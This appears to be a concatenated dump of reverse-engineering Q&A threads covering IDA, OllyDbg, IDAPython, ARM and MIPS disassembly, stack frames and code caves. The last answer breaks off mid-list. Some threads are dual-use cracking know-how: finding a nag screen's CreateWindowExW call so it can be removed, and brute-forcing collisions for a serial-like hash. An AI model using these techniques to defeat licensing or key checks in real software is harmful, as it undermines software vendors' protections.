<p>The answer is embarrassingly simple. Simply remove the <code>/web</code> part of the URL so you end up with something like this: <code>http://music.163.com/api/search/get/</code> and you're good to go.</p>
|
9034
|
2015-05-31T11:08:47.167
|
<p>I'm trying to make a search request with NetEase Cloud Music's API. I have found the URL used for sending a search request over <code>POST</code> which is: <code>http://music.163.com/api/search/get/web</code> with x-www-form-urlencoded data: <code>hlpretag=%3Cspan+class%3D%22s-fc56%22%3E&hlposttag=%3C%2Fspan%3E&s=ruslana&type=1&offset=0&total=false&limit=10</code>.</p>
<p>Sending this request over produces a result like so:</p>
<pre><code>{"result":"35b1748964afb6f6ab00803a07621642b1748964af8a7c1d883e3a6f3c773b3d42235da0ba9784a095beda502ab3e8b43fa71f6d6351854d2abf366ed520854009da31982d912f2f7dd26d69e2de683db1f5a185c8d2e83989d1c4b2c230a8669602ea79ebf70989a5b17264db4dabc8072d65deb133001e1236fd8bb37f850490980a4ed65fb639d5629556eff966c2b187d161ba859c63af417aaa447121564e8a4221525d5f0ac885a70ead44a613a07451cddfed5557af6572390e346375e6a91379f94b8530d942573735179b7bdadd3738e4e298e853ded86951b36d7e68ae593ebc6cad73d4e694d2c8debe3e162f84051dda75f10ff58521eb5d5bbf788a1603da61ded1d0b319e80d4bc73218e93665dd8559e420cdd7a0e74d443cd53b8dc20af99a89b3c14e64d9f9aadfc9cbb0b09db8c150e3ea793a1705fb710806ec39f24283c08489169c97527bafb59baed5215f769c55968829b222b3d320b11aab298da17104ddde48d9a77937a6ff100d5e12928d8917810338a51ebf2ef18c879c10a5b2d9c8f29d7524e70265d96ec9016be793f2bbbe55ec7994bb156a6baeda5c4884e6931731d8e6c0124ab298b518977c54c77cbb0eb601db25807ed2ac0d2eff3852427acd83ba0b38dda735b221467975b957074766912e6ea2b2791020bc4305489df1bb9880b47396d1716d01cff904ce4de0d20a4924e6ff220412dbe8305056463c35f7d22dafa3badffded51ee81b6045f5179f59166ec7f4115ecb5f9bb95e92c870a7f7045f1e7765bed3dbf62a09e963279a8ecb2316e39e2540bbe640b20a29a3098f5918aec7572f49ebcca1a3ae96b31927c2274d39ce6b26dd50d0431666a48649c37764010dc48156980022668fd2cec7b855e3a570464a077ffd1005553fd213111a98c2cb20ce50c59c350695b6c93519fd58ee0464e3ae5744873f1de490b0d6f308d6b05cbe59501028a8c8bd6f9a72d1ea6eae2b3ff4a451dc8413d25d611620f3a40b51019a36c2d2674a610bb2cfd2097c1ff3a91ee3b0b6262102dafc72dfd48ab398dea09e3a5d98c952c6674df981017954d222df1cf422403f032cd441f690be826593a50dbac35cb10b555f440e244b1e84e312f9fc0a4b8f5817a916fa4cb65487a12a4558d1adfa01017c6af5f16e2f9eded9c6bab1f62627fa3b3a313a89eeda80f7f4c408542d14ab3d333c0f915d552aedef29595e692dde790dd3b59de48434ff0d86ea13704fbc6f1c8720e82ee2a319d3b779989337239a8","code":200,"abroad":true}
</code></pre>
<p>I have cut off most of <code>result</code> due to it being colossal. What is the data in <code>result</code> and how is it encoded? Looking through other peoples efforts turns up nothing to contribute either. On <a href="https://github.com/grasses/NetEase-Wireless-MusicBox/blob/master/api.py" rel="nofollow noreferrer">this</a> Github project I've found there's a function for searches, it doesn't seem to do anything significant to the returned data:</p>
<pre><code> def search(self, s, stype=1, offset=0, total='true', limit=60):
action = 'http://music.163.com/api/search/get/web'
print self.cookies
data = {
's': s,
'type': stype,
'offset': offset,
'total': total,
'limit': 60,
'__csrf': self.cookies['__csrf'],
}
return self.httpRequest('POST', action, data)
</code></pre>
<p>And when you look on the NetEase website itself and look at the API calls after a search, theres nothing, so its not like theres an extra API call involved in getting all the search data either.</p>
<p>Any input on this would be greatly appreciated.</p>
|
NetEase Cloud Music: Getting search results in API
|
|websites|api|
|
<p>Your string seems to have an xref (cross reference, see below) from <code>0040C624</code>. This string might just be an entry in an array of error strings, with the array itself beginning just a little before <code>0040C624</code>. Your original source code may have looked like this:</p>
<pre><code>char *unused="unused string";
char *errors[] = {
"error 0",
"some other error",
"yet another error",
"Erase error!",
"....",
};
void print_error_message(int index) {
puts(errors[index]);
}
int handle_erase_error() {
print_error_message(3);
}
</code></pre>
<p>If you compile this (i used gnu C on linux, <code>gcc -m32 xref.c</code>) and load the object code into IDA, it becomes (irrelevant parts omitted):</p>
<pre><code>.text:08000000 print_error_message proc near ; CODE XREF: handle_erase_error+Dp
.text:08000000 push ebp
.text:08000001 mov ebp, esp
.text:08000003 sub esp, 18h
.text:08000006 mov eax, [ebp+8]
.text:08000009 mov eax, errors[eax*4]
.text:08000010 mov [esp], eax ; s
.text:08000013 call puts
.text:08000018 leave
.text:08000019 retn
.text:08000019 print_error_message endp
.data:08000030 unused dd offset aUnusedString ; "unused string"
.data:08000034 errors dd offset aError0 ; DATA XREF: print_error_message+9r
.data:08000034 ; "error 0"
.data:08000038 dd offset aSomeOtherError ; "some other error"
.data:0800003C dd offset aYetAnotherErro ; "yet another error"
.data:08000040 dd offset aEraseError ; "Erase error!"
.data:08000044 dd offset a____ ; "...."
.rodata:08000049 aUnusedString db 'unused string',0 ; DATA XREF: .data:unusedo
.rodata:08000057 aError0 db 'error 0',0 ; DATA XREF: .data:errorso
.rodata:0800005F aSomeOtherError db 'some other error',0 ; DATA XREF: .data:08000038o
.rodata:08000070 aYetAnotherErro db 'yet another error',0 ; DATA XREF: .data:0800003Co
.rodata:08000082 aEraseError db 'Erase error!',0 ; DATA XREF: .data:08000040o
.rodata:0800008F a____ db '....',0 ; DATA XREF: .data:08000044o
</code></pre>
<p>You see that each string has a pointer entry in the <code>data</code> section, and the ascii data in the <code>rodata</code> (read only data) section. And each of the ascii strings has an xref (cross reference) to the pointer that points to it - this is not a part of the binary; ida detects where each string is referenced, and generates the "backreferences", or xrefs.</p>
<p>The important thing is: you can use this to find the string table (errors, at <code>0x08000034</code>) if you have only the ascii bytes. And you can find where the string table itself is used by looking at its xref - from the print_error_message function. In contrast, the unused string does <em>not</em> have an xref, because it isn't used anywhere.</p>
<p>Ida will allow you to double-click on the xref to move to where it 'comes from' to navigate easily.</p>
<p>I'd check if you have an array of strings that starts a bit before the xref to your string, where it gets used, and possibly where the using function gets called.</p>
<hr>
<p>Another possibility is something that i saw a few days ago in an ARM android shared library. The library had some strings holding function names, directly after each other, like this (translated to x86 syntax)</p>
<pre><code>errmsg db 'Error in %s, file %s, line %d\n', 0
strtab db 'opencachefile', 0
db 'closecachefile', 0
db 'getcacheentry', 0
db 'putcacheentry', 0
db 'delcacheentry', 0
</code></pre>
<p>The function that got something from cache used the third of these strings to log a possible error. The code looked like this (again, translated from arm to x86):</p>
<pre><code>...
mov eax, offset strtab
add eax, 29 ;<-- difference in bytes between 'open' and 'get'
push eax
mov eax, offset errmsg
push eax
call android_log_print
</code></pre>
<p>The other functions had similar constructs, so <code>strtab</code> was referenced 5 times (one in each function), and the byte difference adjusted in each of them. I sincerely don't know why a compiler would do this, but just <em>maybe</em> something similar is going on in your code.</p>
|
9035
|
2015-05-31T13:38:17.290
|
<p>I'm trying to disassemble an application (built from a Chinese company in English).</p>
<p>I find the text string I want:</p>
<pre><code>.data:0041048C aEraseError db 'Erase error !',0Ah,0 ; DATA XREF:
.rdata:0040C624o
.data:0041048C ; .rdata:0040CF28o ...
</code></pre>
<p>But, I cannot locate it in the code anywhere. It's strange some text strings are found but others are not. </p>
<p>FYI: The application also loads a custom <code>.dll</code> file. The text is located in the main exe file's <code>.rdata</code> segment, but I just cannot see it in the code. I've tried with other disassemblers but I am using IDA.</p>
|
I cannot find a text string referened in the the .rdata
|
|ida|
|
<p>Assuming <code>addr</code> is the EA of <code>mov [rsp+3F8h+var_3F8], 0</code>:</p>
<pre><code>re.findall('\[(.*)\]', idc.GetDisasm(addr))[0].split('+')
</code></pre>
<p>yields the list</p>
<pre><code>['rsp', '3F8h', 'var_3F8']
</code></pre>
|
9040
|
2015-06-01T14:00:03.133
|
<p>Say given the following line in Ida Pro:</p>
<pre><code>mov [rsp+3F8h+var_3F8], 0
</code></pre>
<p>How can I parse and access the items inside the <code>[ ]</code>?
What I tried:</p>
<ul>
<li><code>idc.GetOpnd(addr, n)</code> # returns a string '<code>[rsp+3F8h+var_3F8]</code>'</li>
<li><code>idc.GetOperandValue(addr, n)</code> # returns <code>4</code>, which is explained in the <a href="https://code.google.com/p/idapython/source/browse/trunk/python/idc.py" rel="noreferrer">idc.py</a> file as follows</li>
</ul>
<blockquote>
<p>def GetOperandValue(ea, n):
""" <br>
Get number used in the operand</p>
<p>This function returns an immediate number used in the operand</p>
<p>@param ea: linear address of instruction @param n: the operand number</p>
<p>@return:</p>
<p>value operand is an immediate value => immediate value</p>
<p>operand has a displacement => displacement</p>
<p>operand is a direct memory ref => memory address</p>
<p>operand is a register => register number</p>
<p>operand is a register phrase => phrase number </p>
<p>otherwise => -1 <br>
"""</p>
</blockquote>
<p>How can I access the elements of the 'phrase', i.e. the <code>rsp</code>, <code>3F8h</code>, and <code>var_3F8</code>? I am looking for something like this:</p>
<pre><code>my_op_phrase = idc.ParseOperandPhrase(ea, n)
my_op_phrase[0] #-> 'rsp'
my_op_phrase[0].type #-> idaapi.o_reg
my_op_phrase[1] #-> 0x3F8h
my_op_phrase[1].type #-> idaapi.o_imm
my_op_phrase[2] #-> 'var_3F8'
…
</code></pre>
<p>Is this even possible or am I misunderstanding something?</p>
|
Ida Pro: parsing complex operand expression using IDAPython
|
|ida|disassembly|idapython|
|
<p>if you are setting a breakpoint on the specific address 0x412d18 you must make sure that the specific address will be hit ( setting a breakpoint on a specific address and expecting it to break on CreateWindowCalls is not going to work )</p>
<p>to set a common breakpoint to catch all CreateWindow Calls you should set a breakpoint on system dll (user32.dll)</p>
<p>you should use a stack expression for the conditional break [esp+XXX] == 0x16xxxxxx</p>
<p>here is a sample on winxpsp3 mspaint.exe </p>
<pre><code>Breakpoints
Address Module Active Disassembly Comment
7E42D0A3 USER32 Log when [esp+10] == 44008200 MOV EDI, EDI
</code></pre>
<p>the bp is set on </p>
<pre><code>7E42D0A3 USER32.CreateWindowExW [esp+10] == 44008200 /$ 8BFF MOV EDI, EDI
</code></pre>
<p>never pause<br>
break on condition<br>
log always<br>
condition [esp+10] = xxxxxxxx<br>
expression [esp+10] </p>
<p><img src="https://i.stack.imgur.com/mE9gm.png" alt="enter image description here"></p>
<p>result as follows</p>
<pre><code>Log data
Message
COND: style = = 88000000
COND: style = = 02CFC000
COND: style = = 52000000
COND: style = = 54000000
COND: style = = 5400014E
COND: style = = 56002800
COND: style = = 56008200
COND: style = = 56001400
COND: style = = 56004100
COND: style = = 44001430
COND: style = = 44008200 <------- broken and function args logged for my specific condition
CALL to CreateWindowExW from MFC42u.5F811CB2
ExtStyle = 0
Class = "AfxWnd42u"
WindowName = "Colors"
Style = WS_CHILD|WS_CLIPSIBLINGS|8200 <------------
X = FFFFFEFD (-259.)
Y = FFFFFFCD (-51.)
Width = 103 (259.)
Height = 33 (51.)
hParent = 00080226 ('Paint',class='MSPaintApp')
hMenu = 0000E818
hInst = 01000000
lParam = NULL
</code></pre>
|
9046
|
2015-06-02T10:37:33.603
|
<p>I'm trying to remove a nag screen. Its window style is 16C80000, which should translate to <code>WS_VISIBLE | WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_CAPTION | WS_SYSMENU</code>. So, in the call to CreateWindowExW() I set a conditional breakpoint at <code>PUSH EAX</code>, which determines the style. <br/>
The conditions I tried were <code>[EAX] == 16C80000</code> and <code>[EAX] == WS_VISIBLE | WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_CAPTION | WS_SYSMENU</code>. Both give the same results. <br/>
What happens is that the conditional breakpoint pretty much acts as a normal breakpoint I think. I get breakpoints at <code>Style = WS_POPUP</code>, and many other styles which I didn't specify. What I'd like is to find out what I'm doing wrong so that I can find the call to that goddamn nag :)<br/>
<img src="https://i.gyazo.com/e04bae3cdaecec0531553e372c5be442.png" alt="Screenshot"></p>
|
False positives with conditional breakpoint in OllyDBG
|
|ollydbg|breakpoint|
|
<p>A Lame brute forcer with an arbitrary seed value using the code you provided finds a few collisions under an hour</p>
<pre><code>#include <stdio.h>
#include <windows.h>
int bitXor(int a,int b) { return (a & ~b) | (~a & b); }
void hashit( void) {
SYSTEMTIME st;
unsigned long specialNum=0x4E67C6A7,savedspecialNum=0x4E67C6A7;
unsigned int ch;
char inputVal[32]={0};
GetSystemTime(&st);
printf("System time is : %02d:%02d:%02d:%02d\nBruteforce seed = 0xfffffff0\n",
st.wHour, st.wMinute,st.wSecond,st.wMilliseconds);
for (unsigned __int64 in = 0xfffffff0; in < 0xffffffffffffffff; in++) {
_i64toa_s( in,inputVal,sizeof(inputVal),10);
for(unsigned int i=0;i<strlen(inputVal);i++){
ch=inputVal[i];
ch=ch+(specialNum*32);
ch=ch+(specialNum/4);
specialNum=bitXor(specialNum,ch);
}
if(specialNum == savedspecialNum) {
GetSystemTime(&st);
printf("The system time is: %02d:%02d:%02d:%02d\n",
st.wHour, st.wMinute,st.wSecond,st.wMilliseconds);
printf("%I64x\t%x\n",in,specialNum);
}
specialNum = savedspecialNum;
}
}
void main (void) {
hashit();
}
</code></pre>
<p>result </p>
<pre><code>System time is : 06:17:40:328
Bruteforce seed = 0xfffffff0
The system time is: 06:51:23:343
198172e4a 4e67c6a7
</code></pre>
<p><strong>Edit</strong></p>
<p>An improved but still Lame bruteforcer finds the first collision in 80 odd seconds </p>
<pre><code>#include <stdio.h>
#include <windows.h>
char in[33] = {"4294967280"};
unsigned long specialNum=0x4E67C6A7,savedspecialNum=0x4E67C6A7;
SYSTEMTIME lt;
void main (void ){ unsigned int ch; GetLocalTime(&lt);
printf("BruteForce Started At %02d:%02d:%02d:%02d Seed used 0n%s 0x%I64x\n",
lt.wHour, lt.wMinute,lt.wSecond,lt.wMilliseconds,in,_strtoui64(in,0,10));
while(in[0] <= 57) { while(in[1] <= 57) { while(in[2] <= 57) {
while(in[3] <= 57) { while(in[4] <= 57) { while(in[5] <= 57) {
while(in[6] <= 57) { while(in[7] <= 57) { while(in[8] <= 57) {
while(in[9] <= 57 ) { for(unsigned int i=0;i<10;i++) {
ch=in[i]; ch=ch+(specialNum*32); ch=ch+(specialNum/4);
specialNum=specialNum^ch;
} if(specialNum == savedspecialNum) { GetLocalTime(&lt);
printf("First Collision Found 0n%s 0x%I64x\nBruteForce Ended "
"At %02d:%02d:%02d:%02d\n",in,_strtoui64(in,0,10),lt.wHour,
lt.wMinute,lt.wSecond,lt.wMilliseconds);return;
}specialNum = savedspecialNum; in[9]++;
}in[8]++;in[9]='0';
}in[7]++;in[8]='0','0';
}in[6]++;in[7]='0','0','0';
}in[5]++;in[6]='0','0','0','0';
}in[4]++;in[5]='0','0','0','0','0';
}in[3]++;in[4]='0','0','0','0','0','0';
}in[2]++;in[3]='0','0','0','0','0','0','0';
}in[1]++;in[2]='0','0','0','0','0','0','0','0';
}in[0]++;in[1]='0','0','0','0','0','0','0','0','0';
}
}
</code></pre>
<p>Result</p>
<pre><code>>strarray.exe
BruteForce Started At 19:26:45:437 Seed used 0n4294967280 0xfffffff0
First Collision Found 0n6846623306 0x198172e4a
BruteForce Ended At 19:28:01:921
</code></pre>
|
9047
|
2015-06-02T10:54:20.797
|
<p>I have the following hash algorithm:</p>
<pre><code> unsigned long specialNum=0x4E67C6A7;
unsigned int ch;
char inputVal[]=" AAPB2GXG";
for(int i=0;i<strlen(inputVal);i++)
{
ch=inputVal[i];
ch=ch+(specialNum*32);
ch=ch+(specialNum/4);
specialNum=bitXor(specialNum,ch);
}
int outputVal=specialNum;
</code></pre>
<p>The bitXor simply does the Xor operation:</p>
<pre><code>int bitXor(int a,int b)
{
return (a & ~b) | (~a & b);
}
</code></pre>
<p><strong>Now I want to find an Algorithm that can generate an "inputVal"</strong> when the outputVal is given.(The generated inputVal may not be necessarily be same as the original inputVal.That's why I want to find collision).
This means that I need to find an algorithm that generates a solution that when fed into the above algorithm results same as specified "outputVal".
The length of solution to be generated should be <strong>less than or equal to 32</strong>.</p>
|
How do I find a collision for a simple hash algorithm
|
|c++|c|static-analysis|patch-reversing|hash-functions|
|
<p>The file abo1.exe (MD5: 22702FBFC5B198080ACA8F0BE6F2DF0B) doesn't look packed to me. Looking at the PE structure we can see the entry point is in the .text section and the file has a few imports:</p>
<p><img src="https://i.stack.imgur.com/eT3iZ.png" alt="enter image description here"></p>
<p>Disassembling this entry point shows some code that looks normal. The main function gets the command line arguments and passes them to another function before terminating:</p>
<p><img src="https://i.stack.imgur.com/c8BA6.png" alt="enter image description here"></p>
<p>Looking at this other function we can see a strcpy to a stack destination buffer with an attacker supplied source buffer.</p>
<p><img src="https://i.stack.imgur.com/NjQYe.png" alt="enter image description here"></p>
<p>The challenge from the training perspective is to exploit this stack based buffer overflow in order to gain arbitrary code execution (which is beyond the scope of this answer).</p>
|
9048
|
2015-06-02T11:21:24.617
|
<p>It seems <code>abo1.exe advanced_buffer_overflow</code> challenge is packed, I've tried to unpack it, but I am still beginner in unpacking.It seems it is packed manually. I've also tried OllyDump and ImortREC.</p>
<p>Can any body give me a hand on unpacking it?
Here is the file : <a href="http://www.binary-auditing.com/binary-auditing-training-package.zip" rel="nofollow">http://www.binary-auditing.com/binary-auditing-training-package.zip</a></p>
<p>password : fdcd2ff4c2180329053650f3075d39f4</p>
|
Unpacking abo1.exe advanced buffer overflow challenge from www.binary-auditing.com
|
|unpacking|packers|
|
<p>You can debug OllyDbg with another instance of OllyDbg:</p>
<ul>
<li><p>In OllyDbg process #1, run OllyDbg process #2.</p></li>
<li><p>In OllyDbg process #2, run your target binary.</p></li>
<li><p>When OllyDbg process #2 crashes, you can analyze the crash via
OllyDbg process #1.</p></li>
</ul>
|
9053
|
2015-06-02T14:19:53.027
|
<p>I'm using OllyDbg v2.01 to analyse a specific binary. The binary is calling <em>createProcess()</em> and afterwards it's checking the return value via <em>test eax, eax</em>.
EAX contains 00000001 so the createProcess() call must have been successful. Nevertheless, OllyDbg crashes if I want to step over <em>test eax, eax</em> and I have absolutely no idea why. Is there any way to find out what's the problem for Olly? Normally, I can see if there is an access violation or something else going on which might bother Olly but in this case, there is nothing.</p>
|
How to find out why OllyDbg crashes?
|
|ollydbg|
|
<p><code>var_D8</code> is your <code>int arr[50]</code>.</p>
<p>You can recognize it quickly solely by its name : 50 * sizeof(int) = 200 = 0xC8. The next variable on the stack is <code>numb_of_elements</code> which is positionned on -0x10 on the stack, thus we have some memory between -0xD8 and -0x10 that corresponds to the <code>int</code> array.</p>
<p>Here are some explanations about the following instructions :</p>
<pre><code>lea eax, [ebp+var_D8] ; Get the address of the first element of the array.
mov edx, [ebp+Counter] ; Get the current element index.
shl edx, 2 ; Since the size of each element of the array is 4, multiply the index by 4
add eax, edx ; &arr[i] = The address of the current element
mov [esp], eax ; Move it on the stack so it can be written by std::cin
</code></pre>
|
9068
|
2015-06-05T07:59:52.107
|
<p>Here is the code of loop that I'm trying to understand the disassembly of it:</p>
<pre><code>#include<stdio.h>
#include <iostream>
using namespace std;
int main() {
int i, arr[50], num;
printf("\nEnter no of elements :");
cin >> num;
//Reading values into Array
printf("\nEnter the values :");
for (i = 0; i < num; i++)
cin >> arr[i];
return 0;
}
</code></pre>
<p>And this is the disassembly:
<img src="https://i.stack.imgur.com/4JQnv.jpg" alt="enter image description here"></p>
<p>Can you explain me the highlighted part? what is <code>Var_D8</code> is used for? Why compiler shifted left the <code>edx</code>?</p>
|
Understanding the loop disassembly
|
|disassembly|binary-analysis|
|
<h2>Static analysis doesn't execute the code.</h2>
<p>You can safely run a decompiler or dissembler against the binary and it will analyze without executing the code. Static analysis by itself can be difficult if the binary is obfuscated and packed. There is a risk where the file could exploit a vulnerability in the program doing the analysis, but this is fairly uncommon, though you should still keep you systems up to date and run as an unprivileged user.</p>
<p>Some disassemblers you could try:</p>
<ul>
<li><code>objdump</code>. You can use the <code>objdump</code> disassembler to dump the disassembly of the binary. The command <code>objdump -D yourbin</code> will disassemble all sections.</li>
<li><code>IDA Pro</code>. You can grab a free trial of IDA Pro from their website. </li>
<li><code>Hopper</code>. Hopper also has a free trial you can use. Its cost is much cheaper than IDA Pro if you do decide to purchase.</li>
</ul>
<p><a href="http://www.backerstreet.com/decompiler/decompilers.htm" rel="nofollow">This page</a> lists some decompilers you could try. I haven't tried any of them (except for IDA Decompiler, which is expensive), so I can't vouche for how well they work.</p>
|
9071
|
2015-06-05T19:46:45.327
|
<p>I have a binary file which is potentially a virus and I wish to look into its internals. I need to be cautious as I don't want it to run on my system. That's why I ruled out gdb.</p>
<p>I've searched and skimmed various sites on decompilers but, I haven't been able to figure out the internals. Does the decompiler actually <em>execute</em> the code in someway? (again, I don't want the file to run on my system in any way).</p>
<p>Using a VM is not an option as I have a low-RAM system. What are the risks of running a decompiler to analyze a potentially malicious executable.</p>
|
What are the risks of running a decompiler?
|
|decompilation|decompile|decompiler|malware|
|
<p>By looking at the <a href="https://www.hex-rays.com/products/ida/support/idapython_docs/idc.html" rel="nofollow noreferrer">documentation</a>.</p>
<p>Use <a href="https://hex-rays.com/products/ida/support/idapython_docs/idc.html#idc.GetFloat" rel="nofollow noreferrer"><code>GetFloat</code></a>.</p>
|
9076
|
2015-06-07T00:26:27.630
|
<p>I'm trying to extract a float value at the current linear address in the IDC script, but I can't figure out how to do this.</p>
<p>Disassembly example:</p>
<pre><code>.rdata:004F8360 flt_4F8360 dd 0.69999999 ; DATA XREF: sub_4071E0+68r
</code></pre>
<p>I want to print this float value in the console message like this:</p>
<pre><code>Value: 0.69999999
</code></pre>
<p>I've tried (unsuccessfully):</p>
<ul>
<li><p><code>Dword(ea)</code></p>
<pre><code>Message("Value: %f", Dword(ea));
Value: 1.060320051e9
</code></pre></li>
<li><p><code>GetManyBytes(ea, 4, 0)</code>:</p>
<pre><code>Message("Value: %f", GetManyBytes(ea, 4, 0));
Value: 3.33e2
</code></pre></li>
</ul>
<p>So how does one achieves this?</p>
|
How to get value at the current linear address in the IDC script?
|
|ida|
|
<p>I've done something like this with an ARM android application recently; however, IDA doesn't assemble ARM, and translating ARM code to binary manually isn't a fun task. I found the address of a suitable code cave in IDA first, wrote an assembly file beginning with <code>.org code_cave_address</code> (and another <code>.org</code> and a branch instruction at where i wanted to jump to my code cave) , used the arm version of gnu as to assemble it, then used objdump to find the assembled code, and finally used IDAPatcher to copy the hex code into my IDA database and patch the original shared library. </p>
<p>Not the most straightforward way, but something that will work with every kind of processor, even if IDA doesn't support assembling for it.</p>
|
9078
|
2015-06-07T07:50:21.750
|
<p>When I used CheatEngine (I know, I know...) it had this option that let you create code caves, meaning you could replace any instruction with a JMP to a new section, which contained the old instruction followed by your new code, and then JMP'd back to original place.</p>
<p>I'd like to do the same with Ida, in a way that lets me save my changes to executable. Is this possible?</p>
<p><sub>I tried adding new section manually in the segments window, but saving the executable with "apply changes to input file" doesn't change anything, nor does saving a "DIF" file.</sub></p>
|
Adding new code with Ida
|
|ida|windows|
|
<p>Older compilers made space for function parameters on the stack by pushing them, and popping from the stack after the function call; newer compilers optimize this. For example, while a function gets executed, the stack changed like this:</p>
<pre><code> start calling after before scanf after scanf
printf printf
+-----------+ +-----------+ +-----------+ +-----------+ +-----------+
|return addr| |return addr| |return addr| |return addr| |return addr|
+-----------+ +-----------+ +-----------+ +-----------+ +-----------+
| | | | | | | | | |
| local | | local | | local | | local | | local |
| variables | | variables | | variables | | variables | | variables |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
+-----------+ +-----------+ +-----------+ +-----------+ +-----------+
| "Enter.." | | password |
+-----------+ +-----------+
| "%s" |
+-----------+
</code></pre>
<p>You see how <code>sp</code> (the bottom of the stack) changes with every function call.
Newer versions of <code>gcc</code> change this; they make enough space on the stack (for local variables and all possible function parameters) from the beginning, and just move the parameters to addresses relative to the stack pointer:</p>
<pre><code> start calling after before scanf after scanf
printf printf
+-----------+ +-----------+ +-----------+ +-----------+ +-----------+
|return addr| |return addr| |return addr| |return addr| |return addr|
+-----------+ +-----------+ +-----------+ +-----------+ +-----------+
| | | | | | | | | |
| local | | local | | local | | local | | local |
| variables | | variables | | variables | | variables | | variables |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
+-----------+ +-----------+ +-----------+ +-----------+ +-----------+
| | | | | | | password | | |
+-----------+ +-----------+ +-----------+ +-----------+ +-----------+
| | | "Enter.." | | | | "%s" | | |
+-----------+ +-----------+ +-----------+ +-----------+ +-----------+
</code></pre>
<p>Note how, from the beginning, the stack has the size it needs for the 4th step (before scanf), and how the "Enter.." string is moved directly to where the stack pointer is (so it's the first parameter on the stack), not to the space directly below local variables.</p>
<p>So to calculate the stack size from the source code, you need to know</p>
<ul>
<li>how many bytes your return frame needs</li>
<li>how many bytes to reserve for the stack canary, if any</li>
<li>how many bytes local variables need</li>
<li>how many bytes to reserve for function arguments; this may include special treatment for structures, or doubles, that don't follow standard conventions</li>
<li>how many bytes to subtract from the function arguments because they're passed in registers, this applies to 64 bit code especially.</li>
</ul>
<p>This might change per compiler version as well. It seems that your compiler reserved 8 bytes for stack frame/canary; 64 (0x40) bytes for the password array, and another 16 bytes for function parameters, where 8 would have been sufficient (maybe for alignment reasons)?</p>
<p>I wouldn't rely on any formula for the number of bytes needed; instead, check with the specific compiler i'm using, and prepare for this number to change whenever a different compiler gets used.</p>
|
9079
|
2015-06-07T12:15:59.243
|
<p>Lets assume this function frame :</p>
<p><img src="https://i.stack.imgur.com/enFNM.jpg" alt="enter image description here"></p>
<p>How to calculate and check if subtracted stack space by line 3 is <code>58h</code> ?: <code>sub esp, 58h</code></p>
<p>And this is the code, the compiler is also Dev C++:</p>
<pre><code>#include <stdio.h>
char *the_good_one = "gb_master";
void cookie()
{
printf("Get a cookie!\n");
}
char check_password()
{
char password[64];
printf("Enter password: ");
scanf("%s", password);
return (!strcmp(password, the_good_one));
}
int main(void)
{
if(check_password())
{
printf("GOOOOOOOOOOD!\n");
cookie();
}
else
{
printf("Wrong password\n");
}
return 0;
}
</code></pre>
<p><code>check_password()</code> function disassembly added : </p>
<p><img src="https://i.stack.imgur.com/kCSgz.jpg" alt="enter image description here"></p>
|
Computing subtracted stack space for a function manually
|
|assembly|binary-analysis|static-analysis|binary|stack|
|
<p>There is no single C instruction that matches the assembly code directly. What's happening is the 32 bit value in r7 gets added to the 64 bit value in r2/r3, with the result written to r4/r5. </p>
<p>You can verify this in a few different cases:</p>
<ul>
<li>No overflow in the first instruction, positive number (bit 31 is zero) in <code>r7</code>. This means the <code>ADC</code> has nothing to add, and just copies <code>r3</code> to <code>r5</code>.</li>
<li>First instruction produces overflow, but <code>r7</code> is positive anyway. The <code>ADC</code> adds one (from the carry flag) to account for the overflow.</li>
<li><code>r7</code> is negative (bit 31 is 1). The <code>ASR</code> instruction produces a <code>-1</code> (all bits set), since it does an <em>arithmetic</em> shift, not a logical shift. This effectively subtracts 1 from <code>r3</code> in the second instruction.</li>
</ul>
<p>So the original C code probably looked like this:</p>
<pre><code>__int64__ r23;
__int32__ r7;
__int64__ r45;
r45=r23+r7;
</code></pre>
<p>As i said, the asm code doesn't really match the C code, since C doesn't have any syntax for type extension. (You could use casts in your C, but that wouldn't really make anything clearer).</p>
<p>This is one of the reasons why there is more to reverse engineering that just creating C from assembly; you have to have an understanding on assembly, registers, processor quirks, and compiler shortcuts, to understand what's going on in these cases.</p>
|
9085
|
2015-06-07T20:45:13.247
|
<p>I have the following 2 ARM instructions in a basic block which is part of a function that I'm trying to convert to C.</p>
<pre><code>ADDS r4, r2, r7
ADC r5, r3, r7, ASR#31
</code></pre>
<p>From my understanding, the first instruction does a <code>r4 = r2+r7</code> and sets the flags. The next instruction does <code>r5 = r3 + (r7>>31) + <carryflag></code>. How would the instructions look in C?</p>
|
ADC in ARM : What is the corresponding C?
|
|arm|decompile|
|
<p>You will have to learn MIPS assembly, and some information about the processor and the registers it uses (for example, opcodes are 3-operand, and <code>r0</code> is always zero).</p>
<p>If you want to add dynamic analysis to your efforts at static disassembly, you'll need the corresponding environment. For example, if your binary is a piece of old SGI IRIX software, a Linux MIPS system won't help you much, since calling conventions, file formats etc. are different. However, this doesn't neccesarily mean you need a MIPS processor, there are various <a href="http://www.linux-mips.org/wiki/Emulators" rel="nofollow">emulators</a> out there for MIPS devices.</p>
<p>Especially in the case of MIPS under Linux, many routers use MIPS processors, and there are several of them that allow you to telnet or ssh in. So, in addition to running an emulator, you could try getting one of those devices, copying your binary there, and running it, possibly under the control of a debugger like gdb or IDA Pro (you need the professional version, the free version and the entry-level version don't support MIPS).</p>
|
9089
|
2015-06-08T00:55:13.527
|
<p>I have disassembled a MIPS library in the online Retargetable Disassembler, but I don't really understand the code I got (I'm new to reverse engineering). Would it be possible for me to either recompile the code so I can call it, or use the library directly to call the code?</p>
<p>I assume the latter would only be possible if I'm running on MIPS. How else could I proceed with reverse engineering this code?</p>
|
Calling a function in a MIPS library
|
|mips|
|
<p>As you need just 2 more bytes, you don't need a large code cave. Out of the box, there are four things you can try:</p>
<ul>
<li>It's very likely you have a function or 2 in your text segment that are present in some source code, but never called. Look for <code>loc_XXXX</code> labels that have the standard function prefix (<code>push ....,LR</code>) and the suffix (<code>pop ....,PC</code>) a few dozen bytes later. Reuse these functions for your code cave.</li>
<li>Check if there are any redundant instructions in your code. Maybe you can omit 2 bytes somewhere nearby and move the rest around.</li>
<li>Often, function starts are aligned to 16 byte boundaries. There might be a few spare bytes between your current function and the next. These can show up like <code>nop.w</code> in assembly, or <code>f3af 8000</code> in hex.</li>
